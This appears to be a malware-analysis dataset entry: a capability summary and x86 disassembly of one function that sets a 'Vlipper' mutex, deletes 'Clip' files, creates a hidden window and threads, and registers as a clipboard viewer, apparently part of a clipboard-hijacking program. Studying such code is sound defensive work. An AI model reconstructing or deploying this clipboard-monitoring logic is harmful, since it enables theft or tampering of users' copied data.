Function at 0x10003560
Capabilities:
Check mutex on windows
Create thread
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10020eb6
mov eax, dword fs:[0]
push eax
sub esp, 0x6bc
mov eax, dword [0x10029080]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push str.Vlipper
xor ebx, ebx
push ebx
push ebx
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edi, eax
mov dword [ebp - 0x65c], edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x10003825
push 1
lea eax, [ebp - 0x6a8]
push eax
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
push ebx
push ebx
push 1
lea ecx, [ebp - 0x6a8]
push ecx
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
push str.LocalExitCliper
push 4
push ebx
push 4
lea eax, [ebp - 0x66c]
push eax
lea edx, [ebp - 0x6a8]
push 0xffffffffffffffff
mov dword [ebp - 0x66c], 0xc
mov dword [ebp - 0x668], edx
mov dword [ebp - 0x664], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push 4
mov edi, 0xf
push str.Clip
lea ecx, [ebp - 0x658]
mov dword [ebp - 0x660], eax
mov dword [ebp - 0x644], edi
mov dword [ebp - 0x648], ebx
mov byte [ebp - 0x658], bl
call fcn.10001240
push 1
mov eax, 0x100254b4
lea ecx, [ebp - 0x658]
mov dword [ebp - 4], ebx
call fcn.10004840
mov esi, str.ARPD
call fcn.10001100
mov esi, eax
mov ecx, esi
mov dword [ebp - 0x628], edi
mov dword [ebp - 0x62c], ebx
mov byte [ebp - 0x63c], bl
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
cmp al, bl
jne 0x10003674
sub ecx, edi
push ecx
push esi
lea ecx, [ebp - 0x63c]
call fcn.10001240
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x658]
mov esi, 0x10
cmp dword [ebp - 0x644], esi
jae 0x100036a7
lea eax, [ebp - 0x658]
mov ecx, dword [ebp - 0x648]
push ecx
push eax
lea edx, [ebp - 0x63c]
push edx
xor eax, eax
call fcn.100046b0
cmp eax, 0xffffffff
je 0x100036ee
push ebx
push eax
mov eax, dword [ebp - 0x648]
lea ecx, [ebp - 0x63c]
call fcn.100044e0
cmp dword [ebp - 0x628], esi
mov esi, dword [ebp - 0x63c]
jae 0x100036e9
lea esi, [ebp - 0x63c]
call fcn.10001040
push 0x103
lea eax, [ebp - 0x117]
push ebx
push eax
mov byte [ebp - 0x118], bl
call fcn.10011350
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x118]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [ebp - 0x118]
push 0x5c
push edx
call fcn.1000bd10
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
mov byte [eax], bl
push str.Clip
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x620]
push str._s_s
push ecx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 0x18
lea edx, [ebp - 0x620]
push edx
call edi
push 0x103
lea eax, [ebp - 0x21f]
push ebx
push eax
mov byte [ebp - 0x220], bl
call fcn.10011350
add esp, 0xc
push ebx
push 0x1a
lea ecx, [ebp - 0x220]
push ecx
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push str.Clip
lea edx, [ebp - 0x220]
push edx
lea eax, [ebp - 0x620]
push str._s_s
push eax
call esi
add esp, 0x10
lea ecx, [ebp - 0x620]
push ecx
call edi
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x660]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call esi
mov eax, dword [ebp - 0x65c]
push eax
call esi
mov esi, 0x10
cmp dword [ebp - 0x628], esi
jb 0x100037ef
mov ecx, dword [ebp - 0x63c]
push ecx
call fcn.1000c6fb
add esp, 4
mov dword [ebp - 0x628], 0xf
mov dword [ebp - 0x62c], ebx
mov byte [ebp - 0x63c], bl
cmp dword [ebp - 0x644], esi
jb 0x1000398c
mov edx, dword [ebp - 0x658]
push edx
call fcn.1000c6fb
add esp, 4
jmp 0x1000398c
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
push 4
mov dword [ebp - 0x68c], ebx
mov dword [ebp - 0x688], ebx
call dword [sym.imp.GDI32.dll_GetStockObject]
push 0x7f03
push ebx
mov dword [ebp - 0x678], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [ebp - 0x67c], eax
mov eax, dword [0x1002b8c0]
lea ecx, [ebp - 0x694]
push ecx
mov dword [ebp - 0x680], ebx
mov dword [ebp - 0x684], eax
mov dword [ebp - 0x690], 0x10003470
mov dword [ebp - 0x670], str.clipwindow
mov dword [ebp - 0x674], ebx
mov dword [ebp - 0x694], 3
call dword [sym.imp.USER32.dll_RegisterClassA]
test ax, ax
jne 0x100038b2
push edi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1000398c
mov edx, dword [0x1002b8c0]
push ebx
push edx
push ebx
push ebx
push 0x190
push 0x258
push 0xc8
push 0x1f4
push 0xcf0000
push str.blueboy
push str.clipwindow
push ebx
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [esi + 4], eax
cmp eax, ebx
je 0x1000389f
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
push ebx
push esi
push 0x100040e0
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x10003b30
push ebx
push ebx
mov dword [esi + 8], eax
call edi
mov dword [esi + 0x10], eax
mov eax, dword [esi + 4]
push eax
call dword [sym.imp.USER32.dll_SetClipboardViewer]
mov esi, dword [sym.imp.USER32.dll_GetMessageA]
push ebx
push ebx
push ebx
lea ecx, [ebp - 0x6c4]
push ecx
mov dword [0x1002b8ec], eax
call esi
test eax, eax
je 0x10003966
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
lea esp, [esp]
lea edx, [ebp - 0x6c4]
push edx
call edi
lea eax, [ebp - 0x6c4]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
push ebx
push ebx
push ebx
lea ecx, [ebp - 0x6c4]
push ecx
call esi
test eax, eax
jne 0x10003940
mov esi, dword [ebp - 0x65c]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x1002b8c0]
push edx
push str.clipwindow
call dword [sym.imp.USER32.dll_UnregisterClassA]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000badd
mov esp, ebp
pop ebp
ret